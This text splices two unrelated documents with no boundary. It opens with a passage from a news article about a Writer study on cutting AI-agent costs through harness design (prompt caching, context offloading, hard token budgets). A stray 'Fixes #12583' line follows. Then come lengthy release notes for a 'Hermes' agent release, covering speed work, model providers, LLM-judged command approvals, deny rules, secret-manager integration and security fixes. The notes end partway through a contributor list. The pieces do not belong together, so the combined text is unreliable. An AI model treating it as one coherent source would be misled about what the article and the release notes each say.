These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

• Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

• Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

• Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

Read more of this story at Slashdot.

Fixes #12583

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
